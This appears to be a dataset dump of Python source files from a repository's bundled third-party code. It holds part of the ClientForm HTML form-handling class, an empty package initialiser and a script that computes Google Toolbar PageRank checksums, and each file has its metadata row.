to select more than one item and the control doesn't allow that, or set/get_single are called and the control contains more than one item. AttributeError is raised if a control or item is readonly or disabled and an attempt is made to alter its value. Security note: Remember that any passwords you store in HTMLForm instances will be saved to disk in the clear if you pickle them (directly or indirectly). The simplest solution to this is to avoid pickling HTMLForm objects. You could also pickle before filling in any password, or just set the password to "" before pickling. Public attributes: action: full (absolute URI) form action method: "GET" or "POST" enctype: form transfer encoding MIME type name: name of form (None if no name was specified) attrs: dictionary mapping original HTML form attributes to their values controls: list of Control instances; do not alter this list (instead, call form.new_control to make a Control and add it to the form, or control.add_to_form if you already have a Control instance) Methods for form filling: ------------------------- Most of the these methods have very similar arguments. See HTMLForm.find_control.__doc__ for details of the name, type, kind, label and nr arguments. def find_control(self, name=None, type=None, kind=None, id=None, predicate=None, nr=None, label=None) get_value(name=None, type=None, kind=None, id=None, nr=None, by_label=False, # by_label is deprecated label=None) set_value(value, name=None, type=None, kind=None, id=None, nr=None, by_label=False, # by_label is deprecated label=None) clear_all() clear(name=None, type=None, kind=None, id=None, nr=None, label=None) set_all_readonly(readonly) Method applying only to FileControls: add_file(file_object, content_type="application/octet-stream", filename=None, name=None, id=None, nr=None, label=None) Methods applying only to clickable controls: click(name=None, type=None, id=None, nr=0, coord=(1,1), label=None) click_request_data(name=None, type=None, id=None, nr=0, coord=(1,1), label=None) click_pairs(name=None, type=None, id=None, nr=0, coord=(1,1), label=None) """ type2class = { "text": TextControl, "password": PasswordControl, "hidden": HiddenControl, "textarea": TextareaControl, "isindex": IsindexControl, "file": FileControl, "button": IgnoreControl, "buttonbutton": IgnoreControl, "reset": IgnoreControl, "resetbutton": IgnoreControl, "submit": SubmitControl, "submitbutton": SubmitButtonControl, "image": ImageControl, "radio": RadioControl, "checkbox": CheckboxControl, "select": SelectControl, } #--------------------------------------------------- # Initialisation. Use ParseResponse / ParseFile instead. def __init__(self, action, method="GET", enctype=None, name=None, attrs=None, request_class=urllib2.Request, forms=None, labels=None, id_to_labels=None, backwards_compat=True): """ In the usual case, use ParseResponse (or ParseFile) to create new HTMLForm objects. action: full (absolute URI) form action method: "GET" or "POST" enctype: form transfer encoding MIME type name: name of form attrs: dictionary mapping original HTML form attributes to their values """ self.action = action self.method = method self.enctype = enctype or "application/x-www-form-urlencoded" self.name = name if attrs is not None: self.attrs = attrs.copy() else: self.attrs = {} self.controls = [] self._request_class = request_class # these attributes are used by zope.testbrowser self._forms = forms # this is a semi-public API! self._labels = labels # this is a semi-public API! self._id_to_labels = id_to_labels # this is a semi-public API! self.backwards_compat = backwards_compat # note __setattr__ self._urlunparse = urlparse.urlunparse self._urlparse = urlparse.urlparse def __getattr__(self, name): if name == "backwards_compat": return self._backwards_compat return getattr(HTMLForm, name) def __setattr__(self, name, value): # yuck if name == "backwards_compat": name = "_backwards_compat" value = bool(value) for cc in self.controls: try: items = cc.items except AttributeError: continue else: for ii in items: for ll in ii.get_labels(): ll._backwards_compat = value self.__dict__[name] = value def new_control(self, type, name, attrs, ignore_unknown=False, select_default=False, index=None): """Adds a new control to the form. This is usually called by ParseFile and ParseResponse. Don't call it youself unless you're building your own Control instances. Note that controls representing lists of items are built up from controls holding only a single list item. See ListControl.__doc__ for further information. type: type of control (see Control.__doc__ for a list) attrs: HTML attributes of control ignore_unknown: if true, use a dummy Control instance for controls of unknown type; otherwise, use a TextControl select_default: for RADIO and multiple-selection SELECT controls, pick the first item as the default if no 'selected' HTML attribute is present (this defaulting happens when the HTMLForm.fixup method is called) index: index of corresponding element in HTML (see MoreFormTests.test_interspersed_controls for motivation) """ type = type.lower() klass = self.type2class.get(type) if klass is None: if ignore_unknown: klass = IgnoreControl else: klass = TextControl a = attrs.copy() if issubclass(klass, ListControl): control = klass(type, name, a, select_default, index) else: control = klass(type, name, a, index) if type == "select" and len(attrs) == 1: for ii in xrange(len(self.controls)-1, -1, -1): ctl = self.controls[ii] if ctl.type == "select": ctl.close_control() break control.add_to_form(self) control._urlparse = self._urlparse control._urlunparse = self._urlunparse def fixup(self): """Normalise form after all controls have been added. This is usually called by ParseFile and ParseResponse. Don't call it youself unless you're building your own Control instances. This method should only be called once, after all controls have been added to the form. """ for control in self.controls: control.fixup() self.backwards_compat = self._backwards_compat #--------------------------------------------------- def __str__(self): header = "%s%s %s %s" % ( (self.name and self.name+" " or ""), self.method, self.action, self.enctype) rep = [header] for control in self.controls: rep.append(" %s" % str(control)) return "<%s>" % "\n".join(rep) #--------------------------------------------------- # Form-filling methods. def __getitem__(self, name): return self.find_control(name).value def __contains__(self, name): return bool(self.find_control(name)) def __setitem__(self, name, value): control = self.find_control(name) try: control.value = value except AttributeError, e: raise ValueError(str(e)) def get_value(self, name=None, type=None, kind=None, id=None, nr=None, by_label=False, # by_label is deprecated label=None): """Return value of control. If only name and value arguments are supplied, equivalent to form[name] """ if by_label: deprecation("form.get_value_by_label(...)") c = self.find_control(name, type, kind, id, label=label, nr=nr) if by_label: try: meth = c.get_value_by_label except AttributeError: raise NotImplementedError( "control '%s' does not yet support by_label" % c.name) else: return meth() else: return c.value def set_value(self, value, name=None, type=None, kind=None, id=None, nr=None, by_label=False, # by_label is deprecated label=None): """Set value of control. If only name and value arguments are supplied, equivalent to form[name] = value """ if by_label: deprecation("form.get_value_by_label(...)") c = self.find_control(name, type, kind, id, label=label, nr=nr) if by_label: try: meth = c.set_value_by_label except AttributeError: raise NotImplementedError( "control '%s' does not yet support by_label" % c.name) else: meth(value) else: c.value = value def get_value_by_label( self, name=None, type=None, kind=None, id=None, label=None, nr=None): """ All arguments should be passed by name. """ c = self.find_control(name, type, kind, id, label=label, nr=nr) return c.get_value_by_label() def set_value_by_label( self, value, name=None, type=None, kind=None, id=None, label=None, nr=None): """ All arguments should be passed by name. """ c = self.find_control(name, type, kind, id, label=label, nr=nr) c.set_value_by_label(value) def set_all_readonly(self, readonly): for control in self.controls: control.readonly = bool(readonly) def clear_all(self): """Clear the value attributes of all controls in the form. See HTMLForm.clear.__doc__. """ for control in self.controls: control.clear() def clear(self, name=None, type=None, kind=None, id=None, nr=None, label=None): """Clear the value attribute of a control. As a result, the affected control will not be successful until a value is subsequently set. AttributeError is raised on readonly controls. """ c = self.find_control(name, type, kind, id, label=label, nr=nr) c.clear() #--------------------------------------------------- # Form-filling methods applying only to ListControls. def possible_items(self, # deprecated name=None, type=None, kind=None, id=None, nr=None, by_label=False, label=None): """Return a list of all values that the specified control can take.""" c = self._find_list_control(name, type, kind, id, label, nr) return c.possible_items(by_label) def set(self, selected, item_name, # deprecated name=None, type=None, kind=None, id=None, nr=None, by_label=False, label=None): """Select / deselect named list item. selected: boolean selected state """ self._find_list_control(name, type, kind, id, label, nr).set( selected, item_name, by_label) def toggle(self, item_name, # deprecated name=None, type=None, kind=None, id=None, nr=None, by_label=False, label=None): """Toggle selected state of named list item.""" self._find_list_control(name, type, kind, id, label, nr).toggle( item_name, by_label) def set_single(self, selected, # deprecated name=None, type=None, kind=None, id=None, nr=None, by_label=None, label=None): """Select / deselect list item in a control having only one item. If the control has multiple list items, ItemCountError is raised. This is just a convenience method, so you don't need to know the item's name -- the item name in these single-item controls is usually something meaningless like "1" or "on". For example, if a checkbox has a single item named "on", the following two calls are equivalent: control.toggle("on") control.toggle_single() """ # by_label ignored and deprecated self._find_list_control( name, type, kind, id, label, nr).set_single(selected) def toggle_single(self, name=None, type=None, kind=None, id=None, nr=None, by_label=None, label=None): # deprecated """Toggle selected state of list item in control having only one item. The rest is as for HTMLForm.set_single.__doc__. """ # by_label ignored and deprecated self._find_list_control(name, type, kind, id, label, nr).toggle_single() #--------------------------------------------------- # Form-filling method applying only to FileControls. def add_file(self, file_object, content_type=None, filename=None, name=None, id=None, nr=None, label=None): """Add a file to be uploaded. file_object: file-like object (with read method) from which to read data to upload content_type: MIME content type of data to upload filename: filename to pass to server If filename is None, no filename is sent to the server. If content_type is None, the content type is guessed based on the filename and the data from read from the file object. XXX At the moment, guessed content type is always application/octet-stream. Use sndhdr, imghdr modules. Should also try to guess HTML, XML, and plain text. Note the following useful HTML attributes of file upload controls (see HTML 4.01 spec, section 17): accept: comma-separated list of content types that the server will handle correctly; you can use this to filter out non-conforming files size: XXX IIRC, this is indicative of whether form wants multiple or single files maxlength: XXX hint of max content length in bytes? """ self.find_control(name, "file", id=id, label=label, nr=nr).add_file( file_object, content_type, filename) #--------------------------------------------------- # Form submission methods, applying only to clickable controls. def click(self, name=None, type=None, id=None, nr=0, coord=(1,1), request_class=urllib2.Request, label=None): """Return request that would result from clicking on a control. The request object is a urllib2.Request instance, which you can pass to urllib2.urlopen (or ClientCookie.urlopen). Only some control types (INPUT/SUBMIT & BUTTON/SUBMIT buttons and IMAGEs) can be clicked. Will click on the first clickable control, subject to the name, type and nr arguments (as for find_control). If no name, type, id or number is specified and there are no clickable controls, a request will be returned for the form in its current, un-clicked, state. IndexError is raised if any of name, type, id or nr is specified but no matching control is found. ValueError is raised if the HTMLForm has an enctype attribute that is not recognised. You can optionally specify a coordinate to click at, which only makes a difference if you clicked on an image. """ return self._click(name, type, id, label, nr, coord, "request", self._request_class) def click_request_data(self, name=None, type=None, id=None, nr=0, coord=(1,1), request_class=urllib2.Request, label=None): """As for click method, but return a tuple (url, data, headers). You can use this data to send a request to the server. This is useful if you're using httplib or urllib rather than urllib2. Otherwise, use the click method. # Untested. Have to subclass to add headers, I think -- so use urllib2 # instead! import urllib url, data, hdrs = form.click_request_data() r = urllib.urlopen(url, data) # Untested. I don't know of any reason to use httplib -- you can get # just as much control with urllib2. import httplib, urlparse url, data, hdrs = form.click_request_data() tup = urlparse(url) host, path = tup[1], urlparse.urlunparse((None, None)+tup[2:]) conn = httplib.HTTPConnection(host) if data: httplib.request("POST", path, data, hdrs) else: httplib.request("GET", path, headers=hdrs) r = conn.getresponse() """ return self._click(name, type, id, label, nr, coord, "request_data", self._request_class) def click_pairs(self, name=None, type=None, id=None, nr=0, coord=(1,1), label=None): """As for click_request_data, but returns a list of (key, value) pairs. You can use this list as an argument to ClientForm.urlencode. This is usually only useful if you're using httplib or urllib rather than urllib2 or ClientCookie. It may also be useful if you want to manually tweak the keys and/or values, but this should not be necessary. Otherwise, use the click method. Note that this method is only useful for forms of MIME type x-www-form-urlencoded. In particular, it does not return the information required for file upload. If you need file upload and are not using urllib2, use click_request_data. Also note that Python 2.0's urllib.urlencode is slightly broken: it only accepts a mapping, not a sequence of pairs, as an argument. This messes up any ordering in the argument. Use ClientForm.urlencode instead. """ return self._click(name, type, id, label, nr, coord, "pairs", self._request_class) #--------------------------------------------------- def find_control(self, name=None, type=None, kind=None, id=None, predicate=None, nr=None, label=None): """Locate and return some specific control within the form. At least one of the name, type, kind, predicate and nr arguments must be supplied. If no matching control is found, ControlNotFoundError is raised. If name is specified, then the control must have the indicated name. If type is specified then the control must have the specified type (in addition to the types possible for <input> HTML tags: "text", "password", "hidden", "submit", "image", "button", "radio", "checkbox", "file" we also have "reset", "buttonbutton", "submitbutton", "resetbutton", "textarea", "select" and "isindex"). If kind is specified, then the control must fall into the specified group, each of which satisfies a particular interface. The types are "text", "list", "multilist", "singlelist", "clickable" and "file". If id is specified, then the control must have the indicated id. If predicate is specified, then the control must match that function. The predicate function is passed the control as its single argument, and should return a boolean value indicating whether the control matched. nr, if supplied, is the sequence number of the control (where 0 is the first). Note that control 0 is the first control matching all the other arguments (if supplied); it is not necessarily the first control in the form. If no nr is supplied, AmbiguityError is raised if multiple controls match the other arguments (unless the .backwards-compat attribute is true). If label is specified, then the control must have this label. Note that radio controls and checkboxes never have labels: their items do. """ if ((name is None) and (type is None) and (kind is None) and (id is None) and (label is None) and (predicate is None) and (nr is None)): raise ValueError( "at least one argument must be supplied to specify control") return self._find_control(name, type, kind, id, label, predicate, nr) #--------------------------------------------------- # Private methods. def _find_list_control(self, name=None, type=None, kind=None, id=None, label=None, nr=None): if ((name is None) and (type is None) and (kind is None) and (id is None) and (label is None) and (nr is None)): raise ValueError( "at least one argument must be supplied to specify control") return self._find_control(name, type, kind, id, label, is_listcontrol, nr) def _find_control(self, name, type, kind, id, label, predicate, nr): if ((name is not None) and (name is not Missing) and not isstringlike(name)): raise TypeError("control name must be string-like") if (type is not None) and not isstringlike(type): raise TypeError("control type must be string-like") if (kind is not None) and not isstringlike(kind): raise TypeError("control kind must be string-like") if (id is not None) and not isstringlike(id): raise TypeError("control id must be string-like") if (label is not None) and not isstringlike(label): raise TypeError("control label must be string-like") if (predicate is not None) and not callable(predicate): raise TypeError("control predicate must be callable") if (nr is not None) and nr < 0: raise ValueError("control number must be a positive integer") orig_nr = nr found = None ambiguous = False if nr is None and self.backwards_compat: nr = 0 for control in self.controls: if ((name is not None and name != control.name) and (name is not Missing or control.name is not None)): continue if type is not None and type != control.type: continue if kind is not None and not control.is_of_kind(kind): continue if id is not None and id != control.id: continue if predicate and not predicate(control): continue if label: for l in control.get_labels(): if l.text.find(label) > -1: break else: continue if nr is not None: if nr == 0: return control # early exit: unambiguous due to nr nr -= 1 continue if found: ambiguous = True break found = control if found and not ambiguous: return found description = [] if name is not None: description.append("name %s" % repr(name)) if type is not None: description.append("type '%s'" % type) if kind is not None: description.append("kind '%s'" % kind) if id is not None: description.append("id '%s'" % id) if label is not None: description.append("label '%s'" % label) if predicate is not None: description.append("predicate %s" % predicate) if orig_nr: description.append("nr %d" % orig_nr) description = ", ".join(description) if ambiguous: raise AmbiguityError("more than one control matching "+description) elif not found: raise ControlNotFoundError("no control matching "+description) assert False def _click(self, name, type, id, label, nr, coord, return_type, request_class=urllib2.Request): try: control = self._find_control( name, type, "clickable", id, label, None, nr) except ControlNotFoundError: if ((name is not None) or (type is not None) or (id is not None) or (nr != 0)): raise # no clickable controls, but no control was explicitly requested, # so return state without clicking any control return self._switch_click(return_type, request_class) else: return control._click(self, coord, return_type, request_class) def _pairs(self): """Return sequence of (key, value) pairs suitable for urlencoding.""" return [(k, v) for (i, k, v, c_i) in self._pairs_and_controls()] def _pairs_and_controls(self): """Return sequence of (index, key, value, control_index) of totally ordered pairs suitable for urlencoding. control_index is the index of the control in self.controls """ pairs = [] for control_index in xrange(len(self.controls)): control = self.controls[control_index] for ii, key, val in control._totally_ordered_pairs(): pairs.append((ii, key, val, control_index)) # stable sort by ONLY first item in tuple pairs.sort() return pairs def _request_data(self): """Return a tuple (url, data, headers).""" method = self.method.upper() #scheme, netloc, path, parameters, query, frag = urlparse.urlparse(self.action) parts = self._urlparse(self.action) rest, (query, frag) = parts[:-2], parts[-2:] if method == "GET": self.enctype = "application/x-www-form-urlencoded" # force it parts = rest + (urlencode(self._pairs()), None) uri = self._urlunparse(parts) return uri, None, [] elif method == "POST": parts = rest + (query, None) uri = self._urlunparse(parts) if self.enctype == "application/x-www-form-urlencoded": return (uri, urlencode(self._pairs()), [("Content-Type", self.enctype)]) elif self.enctype == "text/plain": return (uri, self._pairs(), [("Content-Type", self.enctype)]) elif self.enctype == "multipart/form-data": data = StringIO() http_hdrs = [] mw = MimeWriter(data, http_hdrs) f = mw.startmultipartbody("form-data", add_to_http_hdrs=True, prefix=0) for ii, k, v, control_index in self._pairs_and_controls(): self.controls[control_index]._write_mime_data(mw, k, v) mw.lastpart() return uri, data.getvalue(), http_hdrs else: raise ValueError( "unknown POST form encoding type '%s'" % self.enctype) else: raise ValueError("Unknown method '%s'" % method) def _switch_click(self, return_type, request_class=urllib2.Request): # This is called by HTMLForm and clickable Controls to hide switching # on return_type. if return_type == "pairs": return self._pairs() elif return_type == "request_data": return self._request_data() else: req_data = self._request_data() req = request_class(req_data[0], req_data[1]) for key, val in req_data[2]: add_hdr = req.add_header if key.lower() == "content-type": try: add_hdr = req.add_unredirected_header except AttributeError: # pre-2.4 and not using ClientCookie pass add_hdr(key, val) return req
126,254
Python
.py
2,799
35.270454
102
0.60786
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,198
__init__.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/thirdparty/clientform/__init__.py
#!/usr/bin/env python # # Copyright 2007-2008 David McNab # # This program is free software: you can redistribute it and/or modify it # under the terms of the GNU Lesser General Public License as published # by the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # pass
723
Python
.py
18
39.111111
74
0.78125
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,199
pagerank.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/thirdparty/pagerank/pagerank.py
#!/usr/bin/env python # # Script for getting Google Page Rank of page # Google Toolbar 3.0.x/4.0.x Pagerank Checksum Algorithm # # original from http://pagerank.gamesaga.net/ # this version was adapted from http://www.djangosnippets.org/snippets/221/ # by Corey Goldberg - 2010 # # important update (http://www.seroundtable.com/google-pagerank-change-14132.html) # by Miroslav Stampar - 2012 # # Licensed under the MIT license: http://www.opensource.org/licenses/mit-license.php import urllib def get_pagerank(url): url = url.encode('utf8') if isinstance(url, unicode) else url _ = 'http://toolbarqueries.google.com/tbr?client=navclient-auto&features=Rank&ch=%s&q=info:%s' % (check_hash(hash_url(url)), urllib.quote(url)) try: f = urllib.urlopen(_) rank = f.read().strip()[9:] except Exception: rank = 'N/A' else: rank = '0' if not rank or not rank.isdigit() else rank return rank def int_str(string_, integer, factor): for i in xrange(len(string_)) : integer *= factor integer &= 0xFFFFFFFF integer += ord(string_[i]) return integer def hash_url(string_): c1 = int_str(string_, 0x1505, 0x21) c2 = int_str(string_, 0, 0x1003F) c1 >>= 2 c1 = ((c1 >> 4) & 0x3FFFFC0) | (c1 & 0x3F) c1 = ((c1 >> 4) & 0x3FFC00) | (c1 & 0x3FF) c1 = ((c1 >> 4) & 0x3C000) | (c1 & 0x3FFF) t1 = (c1 & 0x3C0) << 4 t1 |= c1 & 0x3C t1 = (t1 << 2) | (c2 & 0xF0F) t2 = (c1 & 0xFFFFC000) << 4 t2 |= c1 & 0x3C00 t2 = (t2 << 0xA) | (c2 & 0xF0F0000) return (t1 | t2) def check_hash(hash_int): hash_str = '%u' % (hash_int) flag = 0 check_byte = 0 i = len(hash_str) - 1 while i >= 0: byte = int(hash_str[i]) if 1 == (flag % 2): byte *= 2; byte = byte / 10 + byte % 10 check_byte += byte flag += 1 i -= 1 check_byte %= 10 if 0 != check_byte: check_byte = 10 - check_byte if 1 == flag % 2: if 1 == check_byte % 2: check_byte += 9 check_byte >>= 1 return '7' + str(check_byte) + hash_str
2,162
Python
.py
66
27.136364
147
0.578012
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)